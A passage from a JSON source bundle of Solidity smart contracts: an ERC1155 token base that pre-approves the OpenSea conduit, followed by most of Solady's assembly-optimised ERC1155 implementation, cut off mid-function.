"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { ERC1155 } from \"solady/src/tokens/ERC1155.sol\";\n\n/**\n * @title ERC1155ConduitPreapproved\n * @notice Solady's ERC1155 with the OpenSea conduit preapproved.\n */\nabstract contract ERC1155ConduitPreapproved is ERC1155 {\n /// @dev The canonical OpenSea conduit.\n address internal constant _CONDUIT =\n 0x1E0049783F008A0085193E00003D00cd54003c71;\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) public virtual override {\n _safeTransfer(_by(), from, to, id, amount, data);\n }\n\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) public virtual override {\n _safeBatchTransfer(_by(), from, to, ids, amounts, data);\n }\n\n function isApprovedForAll(\n address owner,\n address operator\n ) public view virtual override returns (bool) {\n if (operator == _CONDUIT) return true;\n return ERC1155.isApprovedForAll(owner, operator);\n }\n\n function _by() internal view returns (address result) {\n assembly {\n // `msg.sender == _CONDUIT ? address(0) : msg.sender`.\n result := mul(iszero(eq(caller(), _CONDUIT)), caller())\n }\n }\n}\n"
},
"lib/solady/src/tokens/ERC1155.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.4;\n\n/// @notice Simple ERC1155 implementation.\n/// @author Solady (https://github.com/vectorized/solady/blob/main/src/tokens/ERC1155.sol)\n/// @author Modified from Solmate (https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC1155.sol)\n/// @author Modified from OpenZeppelin (https://github.com/OpenZeppelin/openzeppelin-contracts/tree/master/contracts/token/ERC1155/ERC1155.sol)\n///\n/// @dev Note:\n/// The ERC1155 standard allows for self-approvals.\n/// For performance, this implementation WILL NOT revert for such actions.\n/// Please add any checks with overrides if desired.\nabstract contract ERC1155 {\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* CUSTOM ERRORS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The lengths of the input arrays are not the same.\n error ArrayLengthsMismatch();\n\n /// @dev Cannot mint or transfer to the zero address.\n error TransferToZeroAddress();\n\n /// @dev The recipient's balance has overflowed.\n error AccountBalanceOverflow();\n\n /// @dev Insufficient balance.\n error InsufficientBalance();\n\n /// @dev Only the token owner or an approved account can manage the tokens.\n error NotOwnerNorApproved();\n\n /// @dev Cannot safely transfer to a contract that does not implement\n /// the ERC1155Receiver interface.\n error TransferToNonERC1155ReceiverImplementer();\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* EVENTS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Emitted when `amount` of token `id` is transferred\n /// from `from` to `to` by `operator`.\n event TransferSingle(\n address indexed operator,\n address indexed from,\n address indexed to,\n uint256 id,\n uint256 amount\n );\n\n /// @dev Emitted when `amounts` of token `ids` are transferred\n /// from `from` to `to` by `operator`.\n event TransferBatch(\n address indexed operator,\n address indexed from,\n address indexed to,\n uint256[] ids,\n uint256[] amounts\n );\n\n /// @dev Emitted when `owner` enables or disables `operator` to manage all of their tokens.\n event ApprovalForAll(address indexed owner, address indexed operator, bool isApproved);\n\n /// @dev Emitted when the Uniform Resource Identifier (URI) for token `id`\n /// is updated to `value`. This event is not used in the base contract.\n /// You may need to emit this event depending on your URI logic.\n ///\n /// See: https://eips.ethereum.org/EIPS/eip-1155#metadata\n event URI(string value, uint256 indexed id);\n\n /// @dev `keccak256(bytes(\"TransferSingle(address,address,address,uint256,uint256)\"))`.\n uint256 private constant _TRANSFER_SINGLE_EVENT_SIGNATURE =\n 0xc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62;\n\n /// @dev `keccak256(bytes(\"TransferBatch(address,address,address,uint256[],uint256[])\"))`.\n uint256 private constant _TRANSFER_BATCH_EVENT_SIGNATURE =\n 0x4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb;\n\n /// @dev `keccak256(bytes(\"ApprovalForAll(address,address,bool)\"))`.\n uint256 private constant _APPROVAL_FOR_ALL_EVENT_SIGNATURE =\n 0x17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31;\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* STORAGE */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The `ownerSlotSeed` of a given owner is given by.\n /// ```\n /// let ownerSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, shl(96, owner))\n /// ```\n ///\n /// The balance slot of `owner` is given by.\n /// ```\n /// mstore(0x20, ownerSlotSeed)\n /// mstore(0x00, id)\n /// let balanceSlot := keccak256(0x00, 0x40)\n /// ```\n ///\n /// The operator approval slot of `owner` is given by.\n /// ```\n /// mstore(0x20, ownerSlotSeed)\n /// mstore(0x00, operator)\n /// let operatorApprovalSlot := keccak256(0x0c, 0x34)\n /// ```\n uint256 private constant _ERC1155_MASTER_SLOT_SEED = 0x9a31110384e0b0c9;\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* ERC1155 METADATA */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Returns the URI for token `id`.\n ///\n /// You can either return the same templated URI for all token IDs,\n /// (e.g. \"https://example.com/api/{id}.json\"),\n /// or return a unique URI for each `id`.\n ///\n /// See: https://eips.ethereum.org/EIPS/eip-1155#metadata\n function uri(uint256 id) public view virtual returns (string memory);\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* ERC1155 */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Returns the amount of `id` owned by `owner`.\n function balanceOf(address owner, uint256 id) public view virtual returns (uint256 result) {\n /// @solidity memory-safe-assembly\n assembly {\n mstore(0x20, _ERC1155_MASTER_SLOT_SEED)\n mstore(0x14, owner)\n mstore(0x00, id)\n result := sload(keccak256(0x00, 0x40))\n }\n }\n\n /// @dev Returns whether `operator` is approved to manage the tokens of `owner`.\n function isApprovedForAll(address owner, address operator)\n public\n view\n virtual\n returns (bool result)\n {\n /// @solidity memory-safe-assembly\n assembly {\n mstore(0x20, _ERC1155_MASTER_SLOT_SEED)\n mstore(0x14, owner)\n mstore(0x00, operator)\n result := sload(keccak256(0x0c, 0x34))\n }\n }\n\n /// @dev Sets whether `operator` is approved to manage the tokens of the caller.\n ///\n /// Emits a {ApprovalForAll} event.\n function setApprovalForAll(address operator, bool isApproved) public virtual {\n /// @solidity memory-safe-assembly\n assembly {\n // Convert to 0 or 1.\n isApproved := iszero(iszero(isApproved))\n // Update the `isApproved` for (`msg.sender`, `operator`).\n mstore(0x20, _ERC1155_MASTER_SLOT_SEED)\n mstore(0x14, caller())\n mstore(0x00, operator)\n sstore(keccak256(0x0c, 0x34), isApproved)\n // Emit the {ApprovalForAll} event.\n mstore(0x00, isApproved)\n // forgefmt: disable-next-line\n log3(0x00, 0x20, _APPROVAL_FOR_ALL_EVENT_SIGNATURE, caller(), shr(96, shl(96, operator)))\n }\n }\n\n /// @dev Transfers `amount` of `id` from `from` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - `from` must have at least `amount` of `id`.\n /// - If the caller is not `from`,\n /// it must be approved to manage the tokens of `from`.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155Reveived}, which is called upon a batch transfer.\n ///\n /// Emits a {Transfer} event.\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) public virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, to, _single(id), _single(amount), data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n let fromSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, shl(96, from))\n let toSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, shl(96, to))\n mstore(0x20, fromSlotSeed)\n // Clear the upper 96 bits.\n from := shr(96, fromSlotSeed)\n to := shr(96, toSlotSeed)\n // Revert if `to` is the zero address.\n if iszero(to) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n // If the caller is not `from`, do the authorization check.\n if iszero(eq(caller(), from)) {\n mstore(0x00, caller())\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Subtract and store the updated balance of `from`.\n {\n mstore(0x00, id)\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n // Increase and store the updated balance of `to`.\n {\n mstore(0x20, toSlotSeed)\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n // Emit a {TransferSingle} event.\n mstore(0x20, amount)\n log4(0x00, 0x40, _TRANSFER_SINGLE_EVENT_SIGNATURE, caller(), from, to)\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, to, _single(id), _single(amount), data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n // Do the {onERC1155Received} check if `to` is a smart contract.\n if extcodesize(to) {\n // Prepare the calldata.\n let m := mload(0x40)\n // `onERC1155Received(address,address,uint256,uint256,bytes)`.\n mstore(m, 0xf23a6e61)\n mstore(add(m, 0x20), caller())\n mstore(add(m, 0x40), from)\n mstore(add(m, 0x60), id)\n mstore(add(m, 0x80), amount)\n mstore(add(m, 0xa0), 0xa0)\n calldatacopy(add(m, 0xc0), sub(data.offset, 0x20), add(0x20, data.length))\n // Revert if the call reverts.\n if iszero(call(gas(), to, 0, add(m, 0x1c), add(0xc4, data.length), m, 0x20)) {\n if returndatasize() {\n // Bubble up the revert if the call reverts.\n returndatacopy(0x00, 0x00, returndatasize())\n revert(0x00, returndatasize())\n }\n mstore(m, 0)\n }\n // Load the returndata and compare it with the function selector.\n if iszero(eq(mload(m), shl(224, 0xf23a6e61))) {\n mstore(0x00, 0x9c05499b) // `TransferToNonERC1155ReceiverImplementer()`.\n revert(0x1c, 0x04)\n }\n }\n }\n }\n\n /// @dev Transfers `amounts` of `ids` from `from` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - `from` must have at least `amount` of `id`.\n /// - `ids` and `amounts` must have the same length.\n /// - If the caller is not `from`,\n /// it must be approved to manage the tokens of `from`.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155BatchReveived}, which is called upon a batch transfer.\n ///\n /// Emits a {TransferBatch} event.\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) public virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, to, ids, amounts, data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(eq(ids.length, amounts.length)) {\n mstore(0x00, 0x3b800a46) // `ArrayLengthsMismatch()`.\n revert(0x1c, 0x04)\n }\n let fromSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, shl(96, from))\n let toSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, shl(96, to))\n mstore(0x20, fromSlotSeed)\n // Clear the upper 96 bits.\n from := shr(96, fromSlotSeed)\n to := shr(96, toSlotSeed)\n // Revert if `to` is the zero address.\n if iszero(to) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n // If the caller is not `from`, do the authorization check.\n if iszero(eq(caller(), from)) {\n mstore(0x00, caller())\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Loop through all the `ids` and update the balances.\n {\n let end := shl(5, ids.length)\n for { let i := 0 } iszero(eq(i, end)) { i := add(i, 0x20) } {\n let amount := calldataload(add(amounts.offset, i))\n // Subtract and store the updated balance of `from`.\n {\n mstore(0x20, fromSlotSeed)\n mstore(0x00, calldataload(add(ids.offset, i)))\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n // Increase and store the updated balance of `to`.\n {\n mstore(0x20, toSlotSeed)\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n }\n }\n // Emit a {TransferBatch} event.\n {\n let m := mload(0x40)\n // Copy the `ids`.\n mstore(m, 0x40)\n let n := add(0x20, shl(5, ids.length))\n let o := add(m, 0x40)\n calldatacopy(o, sub(ids.offset, 0x20), n)\n // Copy the `amounts`.\n mstore(add(m, 0x20), add(0x40, n))\n o := add(o, n)\n n := add(0x20, shl(5, amounts.length))\n calldatacopy(o, sub(amounts.offset, 0x20), n)\n n := sub(add(o, n), m)\n // Do the emit.\n log4(m, n, _TRANSFER_BATCH_EVENT_SIGNATURE, caller(), from, to)\n }\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransferCalldata(from, to, ids, amounts, data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n // Do the {onERC1155BatchReceived} check if `to` is a smart contract.\n if extcodesize(to) {\n let m := mload(0x40)\n // Prepare the calldata.\n // `onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)`.\n mstore(m, 0xbc197c81)\n mstore(add(m, 0x20), caller())\n mstore(add(m, 0x40), from)\n // Copy the `ids`.\n mstore(add(m, 0x60), 0xa0)\n let n := add(0x20, shl(5, ids.length))\n let o := add(m, 0xc0)\n calldatacopy(o, sub(ids.offset, 0x20), n)\n // Copy the `amounts`.\n let s := add(0xa0, n)\n mstore(add(m, 0x80), s)\n o := add(o, n)\n n := add(0x20, shl(5, amounts.length))\n calldatacopy(o, sub(amounts.offset, 0x20), n)\n // Copy the `data`.\n mstore(add(m, 0xa0), add(s, n))\n o := add(o, n)\n n := add(0x20, data.length)\n calldatacopy(o, sub(data.offset, 0x20), n)\n n := sub(add(o, n), add(m, 0x1c))\n // Revert if the call reverts.\n if iszero(call(gas(), to, 0, add(m, 0x1c), n, m, 0x20)) {\n if returndatasize() {\n // Bubble up the revert if the call reverts.\n returndatacopy(0x00, 0x00, returndatasize())\n revert(0x00, returndatasize())\n }\n mstore(m, 0)\n }\n // Load the returndata and compare it with the function selector.\n if iszero(eq(mload(m), shl(224, 0xbc197c81))) {\n mstore(0x00, 0x9c05499b) // `TransferToNonERC1155ReceiverImplementer()`.\n revert(0x1c, 0x04)\n }\n }\n }\n }\n\n /// @dev Returns the amounts of `ids` for `owners.\n ///\n /// Requirements:\n /// - `owners` and `ids` must have the same length.\n function balanceOfBatch(address[] calldata owners, uint256[] calldata ids)\n public\n view\n virtual\n returns (uint256[] memory balances)\n {\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(eq(ids.length, owners.length)) {\n mstore(0x00, 0x3b800a46) // `ArrayLengthsMismatch()`.\n revert(0x1c, 0x04)\n }\n balances := mload(0x40)\n mstore(balances, ids.length)\n let o := add(balances, 0x20)\n let end := shl(5, ids.length)\n mstore(0x40, add(end, o))\n // Loop through all the `ids` and load the balances.\n for { let i := 0 } iszero(eq(i, end)) { i := add(i, 0x20) } {\n let owner := calldataload(add(owners.offset, i))\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, shl(96, owner)))\n mstore(0x00, calldataload(add(ids.offset, i)))\n mstore(add(o, i), sload(keccak256(0x00, 0x40)))\n }\n }\n }\n\n /// @dev Returns true if this contract implements the interface defined by `interfaceId`.\n /// See: https://eips.ethereum.org/EIPS/eip-165\n /// This function call must use less than 30000 gas.\n function supportsInterface(bytes4 interfaceId) public view virtual returns (bool result) {\n /// @solidity memory-safe-assembly\n assembly {\n let s := shr(224, interfaceId)\n // ERC165: 0x01ffc9a7, ERC1155: 0xd9b67a26, ERC1155MetadataURI: 0x0e89341c.\n result := or(or(eq(s, 0x01ffc9a7), eq(s, 0xd9b67a26)), eq(s, 0x0e89341c))\n }\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* INTERNAL MINT FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Mints `amount` of `id` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155Reveived}, which is called upon a batch transfer.\n ///\n /// Emits a {Transfer} event.\n function _mint(address to, uint256 id, uint256 amount, bytes memory data) internal virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(address(0), to, _single(id), _single(amount), data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n let to_ := shl(96, to)\n // Revert if `to` is the zero address.\n if iszero(to_) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n // Increase and store the updated balance of `to`.\n {\n mstore(0x20, _ERC1155_MASTER_SLOT_SEED)\n mstore(0x14, to)\n mstore(0x00, id)\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n // Emit a {TransferSingle} event.\n mstore(0x00, id)\n mstore(0x20, amount)\n log4(0x00, 0x40, _TRANSFER_SINGLE_EVENT_SIGNATURE, caller(), 0, shr(96, to_))\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(address(0), to, _single(id), _single(amount), data);\n }\n if (_hasCode(to)) _checkOnERC1155Received(address(0), to, id, amount, data);\n }\n\n /// @dev Mints `amounts` of `ids` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - `ids` and `amounts` must have the same length.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155BatchReveived}, which is called upon a batch transfer.\n ///\n /// Emits a {TransferBatch} event.\n function _batchMint(\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(address(0), to, ids, amounts, data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(eq(mload(ids), mload(amounts))) {\n mstore(0x00, 0x3b800a46) // `ArrayLengthsMismatch()`.\n revert(0x1c, 0x04)\n }\n let to_ := shl(96, to)\n // Revert if `to` is the zero address.\n if iszero(to_) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n // Loop through all the `ids` and update the balances.\n {\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, to_))\n let end := shl(5, mload(ids))\n for { let i := 0 } iszero(eq(i, end)) {} {\n i := add(i, 0x20)\n let amount := mload(add(amounts, i))\n // Increase and store the updated balance of `to`.\n {\n mstore(0x00, mload(add(ids, i)))\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n }\n }\n // Emit a {TransferBatch} event.\n {\n let m := mload(0x40)\n // Copy the `ids`.\n mstore(m, 0x40)\n let n := add(0x20, shl(5, mload(ids)))\n let o := add(m, 0x40)\n pop(staticcall(gas(), 4, ids, n, o, n))\n // Copy the `amounts`.\n mstore(add(m, 0x20), add(0x40, returndatasize()))\n o := add(o, returndatasize())\n n := add(0x20, shl(5, mload(amounts)))\n pop(staticcall(gas(), 4, amounts, n, o, n))\n n := sub(add(o, returndatasize()), m)\n // Do the emit.\n log4(m, n, _TRANSFER_BATCH_EVENT_SIGNATURE, caller(), 0, shr(96, to_))\n }\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(address(0), to, ids, amounts, data);\n }\n if (_hasCode(to)) _checkOnERC1155BatchReceived(address(0), to, ids, amounts, data);\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* INTERNAL BURN FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Equivalent to `_burn(address(0), from, id, amount)`.\n function _burn(address from, uint256 id, uint256 amount) internal virtual {\n _burn(address(0), from, id, amount);\n }\n\n /// @dev Destroys `amount` of `id` from `from`.\n ///\n /// Requirements:\n /// - `from` must have at least `amount` of `id`.\n /// - If `by` is not the zero address, it must be either `from`,\n /// or approved to manage the tokens of `from`.\n ///\n /// Emits a {Transfer} event.\n function _burn(address by, address from, uint256 id, uint256 amount) internal virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, address(0), _single(id), _single(amount), \"\");\n }\n /// @solidity memory-safe-assembly\n assembly {\n let from_ := shl(96, from)\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, from_))\n // If `by` is not the zero address, and not equal to `from`,\n // check if it is approved to manage all the tokens of `from`.\n if iszero(or(iszero(shl(96, by)), eq(shl(96, by), from_))) {\n mstore(0x00, by)\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Decrease and store the updated balance of `from`.\n {\n mstore(0x00, id)\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n // Emit a {TransferSingle} event.\n mstore(0x00, id)\n mstore(0x20, amount)\n log4(0x00, 0x40, _TRANSFER_SINGLE_EVENT_SIGNATURE, caller(), shr(96, from_), 0)\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, address(0), _single(id), _single(amount), \"\");\n }\n }\n\n /// @dev Equivalent to `_batchBurn(address(0), from, ids, amounts)`.\n function _batchBurn(address from, uint256[] memory ids, uint256[] memory amounts)\n internal\n virtual\n {\n _batchBurn(address(0), from, ids, amounts);\n }\n\n /// @dev Destroys `amounts` of `ids` from `from`.\n ///\n /// Requirements:\n /// - `ids` and `amounts` must have the same length.\n /// - `from` must have at least `amounts` of `ids`.\n /// - If `by` is not the zero address, it must be either `from`,\n /// or approved to manage the tokens of `from`.\n ///\n /// Emits a {TransferBatch} event.\n function _batchBurn(address by, address from, uint256[] memory ids, uint256[] memory amounts)\n internal\n virtual\n {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, address(0), ids, amounts, \"\");\n }\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(eq(mload(ids), mload(amounts))) {\n mstore(0x00, 0x3b800a46) // `ArrayLengthsMismatch()`.\n revert(0x1c, 0x04)\n }\n let from_ := shl(96, from)\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, from_))\n // If `by` is not the zero address, and not equal to `from`,\n // check if it is approved to manage all the tokens of `from`.\n let by_ := shl(96, by)\n if iszero(or(iszero(by_), eq(by_, from_))) {\n mstore(0x00, by)\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Loop through all the `ids` and update the balances.\n {\n let end := shl(5, mload(ids))\n for { let i := 0 } iszero(eq(i, end)) {} {\n i := add(i, 0x20)\n let amount := mload(add(amounts, i))\n // Decrease and store the updated balance of `to`.\n {\n mstore(0x00, mload(add(ids, i)))\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n }\n }\n // Emit a {TransferBatch} event.\n {\n let m := mload(0x40)\n // Copy the `ids`.\n mstore(m, 0x40)\n let n := add(0x20, shl(5, mload(ids)))\n let o := add(m, 0x40)\n pop(staticcall(gas(), 4, ids, n, o, n))\n // Copy the `amounts`.\n mstore(add(m, 0x20), add(0x40, returndatasize()))\n o := add(o, returndatasize())\n n := add(0x20, shl(5, mload(amounts)))\n pop(staticcall(gas(), 4, amounts, n, o, n))\n n := sub(add(o, returndatasize()), m)\n // Do the emit.\n log4(m, n, _TRANSFER_BATCH_EVENT_SIGNATURE, caller(), shr(96, from_), 0)\n }\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, address(0), ids, amounts, \"\");\n }\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* INTERNAL APPROVAL FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Approve or remove the `operator` as an operator for `by`,\n /// without authorization checks.\n ///\n /// Emits a {ApprovalForAll} event.\n function _setApprovalForAll(address by, address operator, bool isApproved) internal virtual {\n /// @solidity memory-safe-assembly\n assembly {\n // Convert to 0 or 1.\n isApproved := iszero(iszero(isApproved))\n // Update the `isApproved` for (`by`, `operator`).\n mstore(0x20, _ERC1155_MASTER_SLOT_SEED)\n mstore(0x14, by)\n mstore(0x00, operator)\n sstore(keccak256(0x0c, 0x34), isApproved)\n // Emit the {ApprovalForAll} event.\n mstore(0x00, isApproved)\n let m := shr(96, not(0))\n log3(0x00, 0x20, _APPROVAL_FOR_ALL_EVENT_SIGNATURE, and(m, by), and(m, operator))\n }\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* INTERNAL TRANSFER FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Equivalent to `_safeTransfer(address(0), from, to, id, amount, data)`.\n function _safeTransfer(address from, address to, uint256 id, uint256 amount, bytes memory data)\n internal\n virtual\n {\n _safeTransfer(address(0), from, to, id, amount, data);\n }\n\n /// @dev Transfers `amount` of `id` from `from` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - `from` must have at least `amount` of `id`.\n /// - If `by` is not the zero address, it must be either `from`,\n /// or approved to manage the tokens of `from`.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155Reveived}, which is called upon a batch transfer.\n ///\n /// Emits a {Transfer} event.\n function _safeTransfer(\n address by,\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) internal virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, to, _single(id), _single(amount), data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n let from_ := shl(96, from)\n let to_ := shl(96, to)\n // Revert if `to` is the zero address.\n if iszero(to_) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, from_))\n // If `by` is not the zero address, and not equal to `from`,\n // check if it is approved to manage all the tokens of `from`.\n let by_ := shl(96, by)\n if iszero(or(iszero(by_), eq(by_, from_))) {\n mstore(0x00, by)\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Subtract and store the updated balance of `from`.\n {\n mstore(0x00, id)\n let fromBalanceSlot := 